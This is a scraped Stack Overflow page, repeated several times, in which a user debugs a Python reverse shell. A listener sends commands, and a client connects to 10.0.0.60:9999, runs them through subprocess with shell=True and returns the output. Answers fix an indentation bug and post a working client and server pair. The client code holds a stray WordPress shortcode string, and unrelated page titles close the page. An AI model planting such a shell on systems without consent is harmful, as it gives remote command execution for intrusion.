reverse shell looping












2














Messing around with a reverse shell I found



the server



from socket import *

HOST = ''
PORT = 9999

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)

while 1:
command = input("connectedn")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)

conn.close()


client



import socket, subprocess

HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')

while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()


Error



connected
dir
connected
dir


After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.










share|improve this question





























    2














    Messing around with a reverse shell I found



    the server



    from socket import *

    HOST = ''
    PORT = 9999

    s = socket(AF_INET, SOCK_STREAM)
    s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    print("Listening on port " + str(PORT))
    s.listen(10)
    conn, addr = s.accept()
    print("Connected to " + str(addr))
    data = conn.recv(1024)

    while 1:
    command = input("connectedn")
    conn.send(str(command).encode('utf-8'))
    if command == "quit": break
    data = conn.recv(1024).decode('utf-8')
    print (data)

    conn.close()


    client



    import socket, subprocess

    HOST = '10.0.0.60'
    PORT = 9999
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.send(
    '[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')

    while 1:
    data = s.recv(1024).decode('utf-8')
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    s.send(stdout_value).encode('utf-8')
    s.close()


    Error



    connected
    dir
    connected
    dir


    After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.










    share|improve this question



























      2












      2








      2







      Messing around with a reverse shell I found



      the server



      from socket import *

      HOST = ''
      PORT = 9999

      s = socket(AF_INET, SOCK_STREAM)
      s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
      s.bind((HOST, PORT))
      print("Listening on port " + str(PORT))
      s.listen(10)
      conn, addr = s.accept()
      print("Connected to " + str(addr))
      data = conn.recv(1024)

      while 1:
      command = input("connectedn")
      conn.send(str(command).encode('utf-8'))
      if command == "quit": break
      data = conn.recv(1024).decode('utf-8')
      print (data)

      conn.close()


      client



      import socket, subprocess

      HOST = '10.0.0.60'
      PORT = 9999
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((HOST, PORT))
      s.send(
      '[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')

      while 1:
      data = s.recv(1024).decode('utf-8')
      if data == "quit": break
      proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
      stdout_value = proc.stdout.read() + proc.stderr.read()
      s.send(stdout_value).encode('utf-8')
      s.close()


      Error



      connected
      dir
      connected
      dir


      After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.










      share|improve this question















      Messing around with a reverse shell I found



      the server



      from socket import *

      HOST = ''
      PORT = 9999

      s = socket(AF_INET, SOCK_STREAM)
      s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
      s.bind((HOST, PORT))
      print("Listening on port " + str(PORT))
      s.listen(10)
      conn, addr = s.accept()
      print("Connected to " + str(addr))
      data = conn.recv(1024)

      while 1:
      command = input("connectedn")
      conn.send(str(command).encode('utf-8'))
      if command == "quit": break
      data = conn.recv(1024).decode('utf-8')
      print (data)

      conn.close()


      client



      import socket, subprocess

      HOST = '10.0.0.60'
      PORT = 9999
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((HOST, PORT))
      s.send(
      '[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')

      while 1:
      data = s.recv(1024).decode('utf-8')
      if data == "quit": break
      proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
      stdout_value = proc.stdout.read() + proc.stderr.read()
      s.send(stdout_value).encode('utf-8')
      s.close()


      Error



      connected
      dir
      connected
      dir


      After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.







      python python-3.x shell






      share|improve this question















      share|improve this question













      share|improve this question




      share|improve this question








      edited Jun 21 '17 at 5:58

























      asked Jun 20 '17 at 19:01









      equallyhero

      7119




      7119
























          3 Answers
          3






          active

          oldest

          votes


















          1














          Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.



          Indent print(data) to be even with the preceding lines and your program should work as you intend.






          share|improve this answer





















          • Thanks, I should have noticed that right off the bat.
            – equallyhero
            Jun 21 '17 at 15:32



















          0














          #Server Side Script

          import socket

          s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
          host = socket.gethostname()
          port = 9999

          s.bind((host,port))

          print ("Waiting for connection...")
          s.listen(5)

          conn,addr = s.accept()
          print ('Got Connection from', addr)
          x='Server Saying Hi'.encode("utf-8")
          while True:
          command=input("Shell > ")
          if 'terminate' in command:
          conn.send('terminate'.encode("utf-8"))
          conn.close()
          break
          else:
          conn.send(bytes(command.encode("utf-8")))
          print(conn.recv(20000).decode("utf-8"))





          share|improve this answer

















          • 1




            // , Nice code. Would you mind adding a word or two of why it answers the question, though? Sometimes that sort of context can help read the code faster.
            – Nathan Basanese
            Nov 20 '18 at 19:44






          • 1




            Yeah, it would be great if you can provide some description of what you what to achieve here so people can solve the question correctly.
            – titipata
            Nov 20 '18 at 22:02



















          0














          Client side Script



          import socket           
          import subprocess
          def connect():
          s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
          host = socket.gethostname() # Get current machine name
          port = 9999 # Client wants to connect to server's # port number 9999
          s.connect((host,port))

          while True :
          try:
          command=s.recv(1024).decode("utf-8")
          print('Server Says :- ',command)
          if 'terminate' in command:
          s.close()
          break

          else:
          CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
          s.send(CMD.stdout.read())
          s.send(CMD.stderr.read())

          except ConnectionAbortedError as e:
          print("Server Connection Closed !nnn",e)
          connect()





          share|improve this answer





















            Your Answer






            StackExchange.ifUsing("editor", function () {
            StackExchange.using("externalEditor", function () {
            StackExchange.using("snippets", function () {
            StackExchange.snippets.init();
            });
            });
            }, "code-snippets");

            StackExchange.ready(function() {
            var channelOptions = {
            tags: "".split(" "),
            id: "1"
            };
            initTagRenderer("".split(" "), "".split(" "), channelOptions);

            StackExchange.using("externalEditor", function() {
            // Have to fire editor after snippets, if snippets enabled
            if (StackExchange.settings.snippets.snippetsEnabled) {
            StackExchange.using("snippets", function() {
            createEditor();
            });
            }
            else {
            createEditor();
            }
            });

            function createEditor() {
            StackExchange.prepareEditor({
            heartbeatType: 'answer',
            autoActivateHeartbeat: false,
            convertImagesToLinks: true,
            noModals: true,
            showLowRepImageUploadWarning: true,
            reputationToPostImages: 10,
            bindNavPrevention: true,
            postfix: "",
            imageUploader: {
            brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
            contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
            allowUrls: true
            },
            onDemand: true,
            discardSelector: ".discard-answer"
            ,immediatelyShowMarkdownHelp:true
            });


            }
            });














            draft saved

            draft discarded


















            StackExchange.ready(
            function () {
            StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f44661089%2freverse-shell-looping%23new-answer', 'question_page');
            }
            );

            Post as a guest















            Required, but never shown

























            3 Answers
            3






            active

            oldest

            votes








            3 Answers
            3






            active

            oldest

            votes









            active

            oldest

            votes






            active

            oldest

            votes









            1














            Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.



            Indent print(data) to be even with the preceding lines and your program should work as you intend.






            share|improve this answer





















            • Thanks, I should have noticed that right off the bat.
              – equallyhero
              Jun 21 '17 at 15:32
















            1














            Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.



            Indent print(data) to be even with the preceding lines and your program should work as you intend.






            share|improve this answer





















            • Thanks, I should have noticed that right off the bat.
              – equallyhero
              Jun 21 '17 at 15:32














            1












            1








            1






            Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.



            Indent print(data) to be even with the preceding lines and your program should work as you intend.






            share|improve this answer












            Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.



            Indent print(data) to be even with the preceding lines and your program should work as you intend.







            share|improve this answer












            share|improve this answer



            share|improve this answer










            answered Jun 21 '17 at 7:22









            Blckknght

            62k556100




            62k556100












            • Thanks, I should have noticed that right off the bat.
              – equallyhero
              Jun 21 '17 at 15:32


















            • Thanks, I should have noticed that right off the bat.
              – equallyhero
              Jun 21 '17 at 15:32
















            Thanks, I should have noticed that right off the bat.
            – equallyhero
            Jun 21 '17 at 15:32




            Thanks, I should have noticed that right off the bat.
            – equallyhero
            Jun 21 '17 at 15:32













            0














            #Server Side Script

            import socket

            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            host = socket.gethostname()
            port = 9999

            s.bind((host,port))

            print ("Waiting for connection...")
            s.listen(5)

            conn,addr = s.accept()
            print ('Got Connection from', addr)
            x='Server Saying Hi'.encode("utf-8")
            while True:
            command=input("Shell > ")
            if 'terminate' in command:
            conn.send('terminate'.encode("utf-8"))
            conn.close()
            break
            else:
            conn.send(bytes(command.encode("utf-8")))
            print(conn.recv(20000).decode("utf-8"))





            share|improve this answer

















            • 1




              // , Nice code. Would you mind adding a word or two of why it answers the question, though? Sometimes that sort of context can help read the code faster.
              – Nathan Basanese
              Nov 20 '18 at 19:44






            • 1




              Yeah, it would be great if you can provide some description of what you what to achieve here so people can solve the question correctly.
              – titipata
              Nov 20 '18 at 22:02
















            0














            #Server Side Script

            import socket

            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            host = socket.gethostname()
            port = 9999

            s.bind((host,port))

            print ("Waiting for connection...")
            s.listen(5)

            conn,addr = s.accept()
            print ('Got Connection from', addr)
            x='Server Saying Hi'.encode("utf-8")
            while True:
            command=input("Shell > ")
            if 'terminate' in command:
            conn.send('terminate'.encode("utf-8"))
            conn.close()
            break
            else:
            conn.send(bytes(command.encode("utf-8")))
            print(conn.recv(20000).decode("utf-8"))





            share|improve this answer

















            • 1




              // , Nice code. Would you mind adding a word or two of why it answers the question, though? Sometimes that sort of context can help read the code faster.
              – Nathan Basanese
              Nov 20 '18 at 19:44






            • 1




              Yeah, it would be great if you can provide some description of what you what to achieve here so people can solve the question correctly.
              – titipata
              Nov 20 '18 at 22:02














            0












            0








            0






            #Server Side Script

            import socket

            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            host = socket.gethostname()
            port = 9999

            s.bind((host,port))

            print ("Waiting for connection...")
            s.listen(5)

            conn,addr = s.accept()
            print ('Got Connection from', addr)
            x='Server Saying Hi'.encode("utf-8")
            while True:
            command=input("Shell > ")
            if 'terminate' in command:
            conn.send('terminate'.encode("utf-8"))
            conn.close()
            break
            else:
            conn.send(bytes(command.encode("utf-8")))
            print(conn.recv(20000).decode("utf-8"))





            share|improve this answer












            #Server Side Script

            import socket

            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            host = socket.gethostname()
            port = 9999

            s.bind((host,port))

            print ("Waiting for connection...")
            s.listen(5)

            conn,addr = s.accept()
            print ('Got Connection from', addr)
            x='Server Saying Hi'.encode("utf-8")
            while True:
            command=input("Shell > ")
            if 'terminate' in command:
            conn.send('terminate'.encode("utf-8"))
            conn.close()
            break
            else:
            conn.send(bytes(command.encode("utf-8")))
            print(conn.recv(20000).decode("utf-8"))






            share|improve this answer












            share|improve this answer



            share|improve this answer










            answered Nov 20 '18 at 19:14









            Mohmed Elsayed AbdEllatef

            1




            1








            • 1




              // , Nice code. Would you mind adding a word or two of why it answers the question, though? Sometimes that sort of context can help read the code faster.
              – Nathan Basanese
              Nov 20 '18 at 19:44






            • 1




              Yeah, it would be great if you can provide some description of what you what to achieve here so people can solve the question correctly.
              – titipata
              Nov 20 '18 at 22:02














            • 1




              // , Nice code. Would you mind adding a word or two of why it answers the question, though? Sometimes that sort of context can help read the code faster.
              – Nathan Basanese
              Nov 20 '18 at 19:44






            • 1




              Yeah, it would be great if you can provide some description of what you what to achieve here so people can solve the question correctly.
              – titipata
              Nov 20 '18 at 22:02








            1




            1




            // , Nice code. Would you mind adding a word or two of why it answers the question, though? Sometimes that sort of context can help read the code faster.
            – Nathan Basanese
            Nov 20 '18 at 19:44




            // , Nice code. Would you mind adding a word or two of why it answers the question, though? Sometimes that sort of context can help read the code faster.
            – Nathan Basanese
            Nov 20 '18 at 19:44




            1




            1




            Yeah, it would be great if you can provide some description of what you what to achieve here so people can solve the question correctly.
            – titipata
            Nov 20 '18 at 22:02




            Yeah, it would be great if you can provide some description of what you what to achieve here so people can solve the question correctly.
            – titipata
            Nov 20 '18 at 22:02











            0














            Client side Script



            import socket           
            import subprocess
            def connect():
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            host = socket.gethostname() # Get current machine name
            port = 9999 # Client wants to connect to server's # port number 9999
            s.connect((host,port))

            while True :
            try:
            command=s.recv(1024).decode("utf-8")
            print('Server Says :- ',command)
            if 'terminate' in command:
            s.close()
            break

            else:
            CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stderr.read())

            except ConnectionAbortedError as e:
            print("Server Connection Closed !nnn",e)
            connect()





            share|improve this answer


























              0














              Client side Script



              import socket           
              import subprocess
              def connect():
              s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
              host = socket.gethostname() # Get current machine name
              port = 9999 # Client wants to connect to server's # port number 9999
              s.connect((host,port))

              while True :
              try:
              command=s.recv(1024).decode("utf-8")
              print('Server Says :- ',command)
              if 'terminate' in command:
              s.close()
              break

              else:
              CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
              s.send(CMD.stdout.read())
              s.send(CMD.stderr.read())

              except ConnectionAbortedError as e:
              print("Server Connection Closed !nnn",e)
              connect()





              share|improve this answer
























                0












                0








                0






                Client side Script



                import socket           
                import subprocess
                def connect():
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                host = socket.gethostname() # Get current machine name
                port = 9999 # Client wants to connect to server's # port number 9999
                s.connect((host,port))

                while True :
                try:
                command=s.recv(1024).decode("utf-8")
                print('Server Says :- ',command)
                if 'terminate' in command:
                s.close()
                break

                else:
                CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
                s.send(CMD.stdout.read())
                s.send(CMD.stderr.read())

                except ConnectionAbortedError as e:
                print("Server Connection Closed !nnn",e)
                connect()





                share|improve this answer












                Client side Script



                import socket           
                import subprocess
                def connect():
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                host = socket.gethostname() # Get current machine name
                port = 9999 # Client wants to connect to server's # port number 9999
                s.connect((host,port))

                while True :
                try:
                command=s.recv(1024).decode("utf-8")
                print('Server Says :- ',command)
                if 'terminate' in command:
                s.close()
                break

                else:
                CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
                s.send(CMD.stdout.read())
                s.send(CMD.stderr.read())

                except ConnectionAbortedError as e:
                print("Server Connection Closed !nnn",e)
                connect()






                share|improve this answer












                share|improve this answer



                share|improve this answer










                answered Nov 20 '18 at 19:19









                Mohmed Elsayed AbdEllatef

                1




                1






























                    draft saved

                    draft discarded




















































                    Thanks for contributing an answer to Stack Overflow!


                    • Please be sure to answer the question. Provide details and share your research!

                    But avoid



                    • Asking for help, clarification, or responding to other answers.

                    • Making statements based on opinion; back them up with references or personal experience.


                    To learn more, see our tips on writing great answers.





                    Some of your past answers have not been well-received, and you're in danger of being blocked from answering.


                    Please pay close attention to the following guidance:


                    • Please be sure to answer the question. Provide details and share your research!

                    But avoid



                    • Asking for help, clarification, or responding to other answers.

                    • Making statements based on opinion; back them up with references or personal experience.


                    To learn more, see our tips on writing great answers.




                    draft saved


                    draft discarded














                    StackExchange.ready(
                    function () {
                    StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f44661089%2freverse-shell-looping%23new-answer', 'question_page');
                    }
                    );

                    Post as a guest















                    Required, but never shown





















































                    Required, but never shown














                    Required, but never shown












                    Required, but never shown







                    Required, but never shown

































                    Required, but never shown














                    Required, but never shown












                    Required, but never shown







                    Required, but never shown







                    Popular posts from this blog

                    Create new schema in PostgreSQL using DBeaver

                    Deepest pit of an array with Javascript: test on Codility

                    Costa Masnaga